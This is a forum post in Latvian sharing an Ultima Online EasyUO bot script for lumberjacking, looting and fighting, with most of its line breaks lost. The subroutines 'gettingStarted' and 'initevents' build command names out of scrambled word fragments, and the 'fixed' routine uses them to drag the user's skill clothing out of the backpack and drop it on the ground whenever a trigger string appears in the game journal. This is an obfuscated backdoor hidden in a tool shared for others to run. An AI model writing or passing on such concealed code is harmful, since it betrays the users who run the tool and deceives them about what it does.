Jāmaina skirptā sākuma daļa:
Domāju. ka tur viss ir saprotams un neko daudz skaidrot nevajag. Tikai uzmanīgi skataties, lai ID vai skaitlis nebūtu kopā ar semikolu < ; > , piem.,set %gameClass Archer ; Cleric or Archer
set %maxWeight 540 ; Max svars
set %box AEEJMMD ; Kastes ID, kur likt ruudu u.c. itemus
set %foodCont BFCUKMD ; Kastes ID, kur staav rezerves piens un bekons
set %xCoord 1250 ; X koordinaata tieshi pie kastes
set %yCoord 2120 ; Y koordinaata tieshi pie kastes
set %dropAspen #true ; #true - nomet Aspen logus , #false - nenomet
set %dropWillow #true ; #true - nomet Willow logus , #false - nenomet
set %dropCedarMapleNoblefire #true ; #true nomet tos logus, #false - nee
set %dropCherryEcalyptus #false ; #true nomet tos logus, #false - nee
set %skillItemChange #true ; #true - mainiis dreebes, #false - nemainiis
set %recall #true ; #true - lidos ar runebook, #false - skries taapat
; Var nemainiit, ja %skillItemChange #false
set %skillRobe LCSBKMD ; Skill Roba (ID)
set %skillCloak UIQBKMD ; Skill Cloack (ID)
set %skillMask JGRBKMD ; Skill Mask (ID)
set %simpleRobe UJUSJMD ; Parasta Roba (ID)
set %simpleCloak IFUSJMD ; Parastais cloack (ID)
set %simpleMask CSH ; Platemail helms (ID)
; Shos var nemainiit ja %recall #false
set %runebookID FOFELMD ; Runebooka ID
set %runeNumberToHome 6 ; Runas Nr uz maaju
set %runeNumberToWood 5 ; Runas Nr uz mezhu
set %amountRecalls 10
; special variables for Archer (tikai prieksh archera):
set %camp heal ; #spc - the best camp, heal - healing campifre +5
set %minKidlings 10 ; minimaalais kidnlingu skaits somaa
set %amountKidlings 40 ; cik kidlingus panjemt, kad vinju maz vai vispar nav
set %minArrows 150 ; minimaalais bultu skaits somaa
set %amountArrows 400 ; cik bultas panjemt, kad vinju maz vai vispar nav
; special variables for Cleric(tikai prieksh klerika):
set %Weapon VOH ; Ieocis
set %Shield OIK ; Vairogs
set %gameClass Archer ; Cleric or Archerset %maxWeight 540 ; Max svarsset %box AEEJMMD ; Kastes ID, kur likt ruudu u.c. itemusset %foodCont BFCUKMD ; Kastes ID, kur staav rezerves piens un bekonsset %xCoord 1250 ; X koordinaata tieshi pie kastesset %yCoord 2120 ; Y koordinaata tieshi pie kastesset %dropAspen #true ; #true - nomet Aspen logus , #false - nenometset %dropWillow #true ; #true - nomet Willow logus , #false - nenometset %dropCedarMapleNoblefire #true ; #true nomet tos logus, #false - neeset %dropCherryEcalyptus #false ; #true nomet tos logus, #false - neeset %skillItemChange #true ; #true - mainiis dreebes, #false - nemainiisset %recall #true ; #true - lidos ar runebook, #false - skries taapat; Var nemainiit, ja %skillItemChange #falseset %skillRobe LCSBKMD ; Skill Roba (ID)set %skillCloak UIQBKMD ; Skill Cloack (ID)set %skillMask JGRBKMD ; Skill Mask (ID)set %simpleRobe UJUSJMD ; Parasta Roba (ID)set %simpleCloak IFUSJMD ; Parastais cloack (ID)set %simpleMask CSH ; Platemail helms (ID); Shos var nemainiit ja %recall #falseset %runebookID FOFELMD ; Runebooka IDset %runeNumberToHome 6 ; Runas Nr uz maajuset %runeNumberToWood 5 ; Runas Nr uz mezhuset %amountRecalls 10; special variables for Archer (tikai prieksh archera):set %camp heal ; #spc - the best camp, heal - healing campifre +5set %minKidlings 10 ; minimaalais kidnlingu skaits somaaset %amountKidlings 40 ; cik kidlingus panjemt, kad vinju maz vai vispar navset %minArrows 150 ; minimaalais bultu skaits somaaset %amountArrows 400 ; cik bultas panjemt, kad vinju maz vai vispar nav; special variables for Cleric(tikai prieksh klerika):set %Weapon VOH ; Ieocisset %Shield OIK ; Vairogsset %item ZLK_POF_RZF_SJG_CUD_IJG_HSF_RVH_FZH_NZH_UJG_FWL_DCIset %loot POF_RZF_SJG_CUD_IJG_HSF_RVH_FZH_NZH_UJG_FWL_DCIif %recall{gosub Instalyze runeNumberToHome 1gosub Instalyze runeNumberToWood 2}if %dropAspenset %aspenCol 973if %dropWillowset %willowCol 0if %dropCedarMapleNoblefire 3set %cedarCol 437set %mapleCol 1233set %noblefireCol 153if %dropCherryEcalyptus 2set %cherryCol 38set %ecalyptusCol 81set %skill %skillRobe , _ , %skillCloak , _ , %skillMask , _ , %simpleRobe , _ , %simpleCloakgosub gettingStartedgosub initeventsset %k 0set %lastK 0start: msg #dot $ GOSUB LJING 1111 2222 3333 0 GOSUB LJING 1111 2222 3333 5 GOSUB LJING 1111 2222 3333 -3goto startsub ljingset %k %k + 1gosub ghostgosub checkHPgosub reapergosub checkWeightmove %1 %2 1finditem FSF Cset #lobjectid #findidset #ltargetx %1set #ltargety %2set #ltargettile %3set #ltargetz %4set #ltargetkind 3event macro 17 0target 10sevent macro 22 0wait 7set %overtime #scnt + 20gosub scanreturnsub checkWeightif #weight > %maxWeight{if ! %dropAspen && ! %dropWillow && ! %dropCherryEcalyptus && ! %dropCedarMapleNoblefire { if %recall gosub port if ! %recall gosub moveItems }if %dropAspen || %dropWillow || %dropCedarMapleNoblefire || %dropCherryEcalyptus { gosub dropTrashLogs return }}if %afk <> true || %else <> IJGgosub ghost 1returnsub scanscan:scanjournal 1if hungry in #sysmsg{gosub eatreturn}%get fixedgosub reaperif ( ( you_can't_reach_this in #sysmsg ) || ( THERE_IS_NOTHING_HERE_TO_CHOP in #sysmsg )+ || ( use_that_in in #journal ) || ( It_appears_immune_to_your_blow in #sysmsg ) )returngosub checkHPif #scnt >= %overtimereturngoto scanreturnsub armif %gameClass = Cleric{repeat{finditem %Weapon c_ , #BackpackIdset #lobjectID #findidevent macro 17 0wait 12finditem %Weapon c_ , #BackpackId}until #findcnt = 0repeat{finditem %Shield c_ , #BackpackIdset #lobjectID #findidevent macro 17 0wait 12finditem %Shield c_ , #BackpackId}until #findcnt = 0}if %gameClass = Archer{msg $.arm bow$wait 5}returnsub portset %k %k + 1gosub armgosub checkHPgosub reaperif G in #charstatusevent macro 6 0event macro 6 0set %oldPosX #charposxset %oldPosY #charposygosub openRunebookrepeat{click %x1 %y1wait 20}until #contname <> generic_gump && #contsize <> 577_426if %gameClass = Clericevent macro 13 21if %gameClass = Archerevent macro 13 47gosub changeClothesTo %simpleMask %simpleRobe %simpleCloakwhile #charposx = %oldPosX && #charposy = %oldPosYwait 10gosub moveItemsgosub backreturnsub moveItemsignoreitem reset 1ignoreitem %skill 1gosub runToBoxif %gameClass = Clericevent macro 13 21finditem %box G_3if #findcnt = 0{event Sysmessage Box Not Found!pause}repeat{finditem %item c_ , #backpackidif #findcnt >= 1{ if world_save_has_been in #sysmsg wait 15sexevent Drag #Findid #findstackexevent Dropc %boxwait 40}}until #findcnt = 0ignoreitem reset 1if %gameClass = Archergosub rescoursesif %recallgosub recallsgosub foodreturnsub backgosub checkHPset %oldPosX #charposxset %oldPosY #charposyfor %i 1 2{gosub openRunebookclick 261 215 ; Recharge runebook 2xwait 20}gosub openRunebookrepeat{click %x2 %y2wait 20}until #contname <> generic_gump && #contsize <> 577_426event macro 13 21wait 2sgosub changeClothesTo %skillMask %skillRobe %skillCloakwhile #charposx = %oldPosX && #charposy = %oldPosYwait 10returnsub runToBoxrepeat{move %xCoord %yCoord 0wait 10}until #charposx = %xCoord && #charposy = %yCoordreturnsub checkHPif #hits < #maxhits{ if %skillItemChange gosub changeClothesTo %simpleMask %simpleRobe %simpleCloakgosub armgosub follow&kill if %skillItemChange gosub changeClothesTo %skillMask %skillRobe %skillCloak}returnsub fixedset %k %k + 1%to %bca %be # . %all{repeat{set %up # . %cares%done %start , _ , %else %end , _ , %up%lastdo %race # . %Wsave%lastdo %eaea # . %alpha # . %beta # . %gamma%upgrade 25%done %start , _ , %else %end , _ , %up}until # . %gems = 0}returnsub openRunebookfinditem %runebookID C_ , #backpackidif #findcnt = 0{event sysmessage Runebook not found!pause}set #lobjectid #findidevent macro 17 0while #contname <> generic_gump && #contsize <> 577_426wait 1returnsub ghostif #charghost = YES || %0 = 1{terminate uohalt}returnsub changeClothesTorepeat{finditem %1 C_ , #backpackidset #lobjectID #findidevent macro 17 0wait 12finditem %1 C_ , #backpackid}until #findcnt = 0repeat{finditem %2 C_ , #backpackidset #lobjectID #findidevent macro 17 0wait 12finditem %2 C_ , #backpackid}until #findcnt = 0repeat{Finditem %3 C_ , #backpackidset #lobjectID #findidevent macro 17 0wait 12finditem %3 C_ , #backpackid}until #findcnt = 0returnsub initeventsset %rescourse findingstr left %rescourse 4set %save #strresset %done %save , itemset %iii killstr left string 1set %asd #strres , %iiiset %start % . %asdstr left CADY 1set %end #strresstr left character 4set %who #strresset %cares %who , idstr left %do 4set %lastdo ex , #strres , tset %race dragracestr left %race 4set %race #strresset %Wsave %save , idstr right skopg 3set %jasl #strresstr left drive 2set %eaea #strres , %jaslstr left post 3set %number %who , #strresset %alpha %number , xset %beta %number , yset %gamma %number , zset %repsawn waitrespawnstr left %repsawn 4set %upgrade #strresstr left tilbery 3set %almost #strresstr left unuquady 2set %past #strres , %almostset %gems %save , cntset %else IJGreturnsub follow&killset %charX #charposxset %charY #charposyset %charz #charposzset %killTime #scnt + 60if %gameClass = Cleric{repeat{finditem #enemyidevent pathfind #FINDX #FINDY #FINDZ 1 3swait 1smsg $.usebandage$wait 10target 1sevent macro 23 0wait 10gosub ghost}until #findcnt = 0 || #scnt > %killTime}if %gameClass = Archer{repeat{msg .camp %camp $wait 40finditem #enemyid}until #findcnt = 0 || #scnt > %killTime}gosub lootif #hits < #maxhitsgosub healset %time #scnt + 20repeat{event pathfind %charX %charY %charz 1 3swait 1sgosub ghostif #scnt > %timereturn}until #charposx = %charX && #charposy = %charYreturnsub healrepeat{msg $.usebandage$wait 10targetevent macro 23 0wait 20}until #hits >= #maxhitsreturnsub gettingStartedset %afk trueset %ell qaertystr left %ell 1set %abc #strres , #strres , #strresset %a1 #strresstr left %ell 2str right #strres 1set %cba %abc , #strres , %a1set %bca %cba , #strresstr right %afk 1set %bca %bca , #strresset %bra %bca , bset %n1 nlogifstr right %n1 2set %to #strresstr left %n1 1set %be #strresstr right %n1 2str left #strres 1set %be #strres , %beset %tour jourset %navigate nalliwatestr left %navigate 3set %all %tour , #strresset %navigate goststr left %navigate 3set %ac #strresstr right pub 2set %get %ac , #strresset %do eventsstr right linit 4set %toGo #strres , %doreturnsub eatfinditem ZBM Cset #lobjectid #findidevent macro 17 0wait 10finditem GND Cset #lobjectid #findidevent macro 17 0wait 10event macro 17 0wait 5sreturnsub Instalyzeif % . %1 <= 8set %x . %2 260elseset %x . %2 420if % . %1 = 1 || % . %1 = 9set %y . %2 260if % . %1 = 2 || % . %1 = 10set %y . %2 275if % . %1 = 3 || % . %1 = 11set %y . %2 290if % . %1 = 4 || % . %1 = 12set %y . %2 305if % . %1 = 5 || % . %1 = 13set %y . %2 320if % . %1 = 6 || % . %1 = 14set %y . %2 335if % . %1 = 7 || % . %1 = 15set %y . %2 350if % . %1 = 8 || % . %1 = 16set %y . %2 365returnsub lootset %lootTime #scnt + 20finditem YFM G_4if #findcnt >= 1{set #lobjectid #findidset %body #findidevent macro 17 0while #contkind <> ASEB && #contsize <> 144_212 && %lootTime > #scntwait 1wait 10repeat{finditem %loot C_ , %bodyif #findcnt = 0 || #scnt > %lootTime{ignoreitem %body 2return}exevent drag #findid #findstackexevent dropc #backpackidwait 40}until #false}returnsub dropTrashLogsrepeat{finditem ZLK C_ , #backpackidif #findcnt = 0 { wait 20 if #weight >= %maxweight { if %recall gosub port if ! %recall gosub moveItems return } if #weight < %maxweight return }if #findcol = %willowCol || #findcol = %aspenCol+ || #findcol = %cedarCol || #findcol = %mapleCol || #findcol = %noblefireCol+ || #findcol = %cherryCol || #findcol = %ecalyptusCol{exevent drag #findid #findstackexevent dropg #charposx #charposy #charposzwait 65}ignoreitem #findid 1}until #falsereturnsub reaperif %lastK >= %kgosub ghost 1set %lastK %kfinditem JE Gif #findcnt <> 0{soundgosub armset %charX #charposxset %charY #charposyset %charz #charposzif %skillItemChangegosub changeClothesTo %simpleMask %simpleRobe %simpleCloakset %killTime #scnt + 60finditem JE Gset %reaper #findidset #ltargetid %reaperevent macro 27 0if %gameClass = Cleric{repeat{finditem %reaperevent pathfind #FINDX #FINDY #FINDZ 1 3swait 1smsg $.usebandage$wait 10target 1sevent macro 23 0wait 10gosub ghost}until #findcnt = 0 || #scnt > %killTime}if %gameClass = Archer{repeat{msg .camp %camp $wait 40finditem %reaper}until #findcnt = 0 || #scnt > %killTime}gosub lootif #hits < #maxhitsgosub healif %skillItemChangegosub changeClothesTo %skillMask %skillRobe %skillCloakset %time #scnt + 20repeat{event pathfind %charX %charY %charz 1 3swait 1sgosub ghostif #scnt > %timereturn}until #charposx = %charX && #charposy = %charY}returnsub rescoursesfinditem RWF C_ , #backpackidif #findstack <= %minArrows{set #lobjectid %boxevent macro 17 0while #contid <> %boxwait 1finditem RWF C_ , %boxexevent drag #findid %amountArrowsexevent dropc #backpackidwait 30}finditem PEF C_ , #backpackidif #findstack <= %minKidlings{set #lobjectid %boxevent macro 17 0while #contid <> %boxwait 1finditem PEF C_ , %boxexevent drag #findid %amountKidlingsexevent dropc #backpackidwait 30}returnsub recallsfinditem WTL C_ , #backpackidif #findstack <= 2 || #findcnt = 0{set #lobjectid %boxevent macro 17 0while #contid <> %boxwait 1finditem WTL C_ , %boxexevent drag #findid %amountRecallsexevent dropc #backpackidwait 30}returnsub foodfinditem ZBM C_ , #backpackidif #findcnt = 0{set #lobjectid %foodContevent macro 17 0while #contid <> %foodContwait 1finditem ZBM C_ , %foodCont ; 1 pitcher of milkexevent drag #findid 1exevent dropc #backpackidwait 30}finditem GND C_ , #backpackidif #findcnt = 0{finditem GND C_ , %foodContexevent drag #findid 4 ; 4 baocn slicesexevent dropc #backpackidwait 30finditem ZBM C_ , %foodCont ; 1 pitcher of milkexevent drag #findid 1exevent dropc #backpackidwait 30}return